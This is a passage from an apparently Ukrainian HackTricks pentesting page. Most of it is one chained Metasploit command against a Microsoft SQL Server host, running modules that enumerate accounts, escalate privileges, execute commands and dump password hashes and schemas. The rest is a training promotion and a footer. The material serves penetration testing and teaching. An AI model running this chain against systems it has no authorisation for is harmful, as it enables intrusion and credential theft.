Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
|
||
|
||
```
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримайте HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||
|
||
</details>
|
||
{% endhint %}
|